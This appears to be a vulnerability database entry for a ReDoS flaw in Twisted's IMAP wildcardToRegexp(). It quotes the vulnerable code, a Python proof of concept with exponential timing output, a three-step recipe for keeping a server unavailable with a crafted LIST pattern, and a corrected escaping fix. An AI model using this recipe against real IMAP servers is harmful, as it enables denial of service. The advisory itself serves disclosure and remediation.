All vulnerabilities
CVE-2026-106454GHSA-8pqf-f4m5-798gPYSEC-2026-4304

Twisted: IMAP wildcardToRegexp() ReDoS

twisted TwistedpipLibraries & packages
CVSS
4.3Medium
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 7 Oct 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.33%Chance of exploitation activity in the next 30 days, higher than 24% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed inNone listedNo source names a fixed version. Check the vendor advisory below
Published6 Oct 2026Updated 15 Oct 2026CVE List

What fixes it

No source in this snapshot names a fixed version. The vendor advisories under References are the place to check.

Description

Summary

wildcardToRegexp() in twisted/mail/imap4.py converts IMAP LIST/LSUB wildcard patterns to Python regular expressions. It substitutes the two IMAP wildcards (* → (?:.*?) and % → (?:(?:[^\\/])*?)) but passes every other character through unchanged to re.compile(). This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as (a+)+z.

Because Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes all I/O on the server for the duration of the match.

---

Vulnerable Code

twisted/mail/imap4.py

# line 4595
def wildcardToRegexp(wildcard, delim=None):
    wildcard = wildcard.replace("*", "(?:.*?)")
    if delim is None:
        wildcard = wildcard.replace("%", "(?:.*?)")
    else:
        wildcard = wildcard.replace("%", "(?:(?:[^%s])*?)" % re.escape(delim))
    return re.compile(wildcard, re.I)   # ← user input compiled verbatim
# line 4993
class MemoryAccountWithoutNamespaces:
    def listMailboxes(self, ref, wildcard):
        ref = self._inferiorNames(_parseMbox(ref.upper()))
        wildcard = wildcardToRegexp(wildcard, "/")   # ← user-supplied wildcard
        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]

---

Proof of Concept

from twisted.mail.imap4 import wildcardToRegexp
import time

rx = wildcardToRegexp("(a+)+z", "/")
for n in [20, 22, 24, 26, 28]:
    victim = "a" * n
    t0 = time.perf_counter()
    rx.match(victim)
    print(f"n={n}: {time.perf_counter() - t0:.3f}s")

Output on Twisted 25.5.0:

[*] Compiled regex: '(a+)+z'
[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()

    n        time
  ---  ----------
   20       0.153s
   22       0.651s
   24       2.941s
   26      14.545s
   28      55.019s

Timing doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.

---

Impact

Twisted's reactor is single-threaded and cooperative. A blocking re.match() call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs. A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.

An attacker who can register an account (or obtain credentials through other means) can:

  1. CREATE a mailbox whose name is an exponential-blowup trigger string.
  2. Issue LIST "" "(a+)+z" (or equivalent ReDoS pattern).
  3. Repeat at ~1-minute intervals to keep the server permanently unavailable.

No exploit code or special privileges beyond an IMAP login are required.

---

Fix

Escape non-wildcard characters before compiling:

def wildcardToRegexp(wildcard, delim=None):
    # Split on the two IMAP wildcards, escape everything else
    parts = re.split(r'([*%])', wildcard)
    result = []
    for p in parts:
        if p == '*':
            result.append('(?:.*?)')
        elif p == '%':
            if delim is None:
                result.append('(?:.*?)')
            else:
                result.append('(?:(?:[^%s])*?)' % re.escape(delim))
        else:
            result.append(re.escape(p))   # ← escape all other characters
    return re.compile(''.join(result), re.I)

Alternatively, apply re.escape() to the entire wildcard first, then substitute the (now-escaped) \* and \% tokens back with their regex equivalents.

Text from GitHub Advisory Database

Affected versions 53

  • Twisted, pip<= 26.4.0GitHub
  • twistedaffected: <= 25.5.0CVE List
  • twisted, PyPIfrom first release, through 26.4.0OSV
  • twisted, PyPI1.0.1OSV
  • twisted, PyPI1.0.3OSV
  • twisted, PyPI1.0.4OSV
  • twisted, PyPI1.0.5OSV
  • twisted, PyPI1.0.6OSV
  • twisted, PyPI1.0.7OSV
  • twisted, PyPI1.1.0OSV
  • twisted, PyPI1.1.1OSV
  • twisted, PyPI1.2.0OSV
  • twisted, PyPI10.0.0OSV
  • twisted, PyPI10.1.0OSV
  • twisted, PyPI10.2.0OSV
  • twisted, PyPI11.0.0OSV
  • twisted, PyPI11.1.0OSV
  • twisted, PyPI12.0.0OSV
  • twisted, PyPI12.1.0OSV
  • twisted, PyPI12.2.0OSV
  • twisted, PyPI12.3.0OSV
  • twisted, PyPI13.0.0OSV
  • twisted, PyPI13.1.0OSV
  • twisted, PyPI13.2.0OSV
  • twisted, PyPI14.0.0OSV
  • twisted, PyPI14.0.1OSV
  • twisted, PyPI14.0.2OSV
  • twisted, PyPI15.0.0OSV
  • twisted, PyPI15.1.0OSV
  • twisted, PyPI15.2.0OSV
  • twisted, PyPI15.2.1OSV
  • twisted, PyPI15.3.0OSV
  • twisted, PyPI15.4.0OSV
  • twisted, PyPI15.5.0OSV
  • twisted, PyPI16.0.0OSV
  • twisted, PyPI16.1.0OSV
  • twisted, PyPI16.1.1OSV
  • twisted, PyPI16.2.0OSV
  • twisted, PyPI16.3.0OSV
  • twisted, PyPI16.3.1OSV
  • twisted, PyPI16.3.2OSV
  • twisted, PyPI16.4.0OSV
  • twisted, PyPI16.4.1OSV
  • twisted, PyPI16.5.0OSV
  • twisted, PyPI16.5.0rc1OSV
  • twisted, PyPI16.5.0rc2OSV
  • twisted, PyPI16.6.0OSV
  • twisted, PyPI16.6.0rc1OSV
  • twisted, PyPI16.7.0rc1OSV
  • twisted, PyPI16.7.0rc2OSV
  • twisted, PyPI17.1.0OSV
  • twisted, PyPI17.1.0rc1OSV
  • twisted, PyPI17.5.0OSV

References 5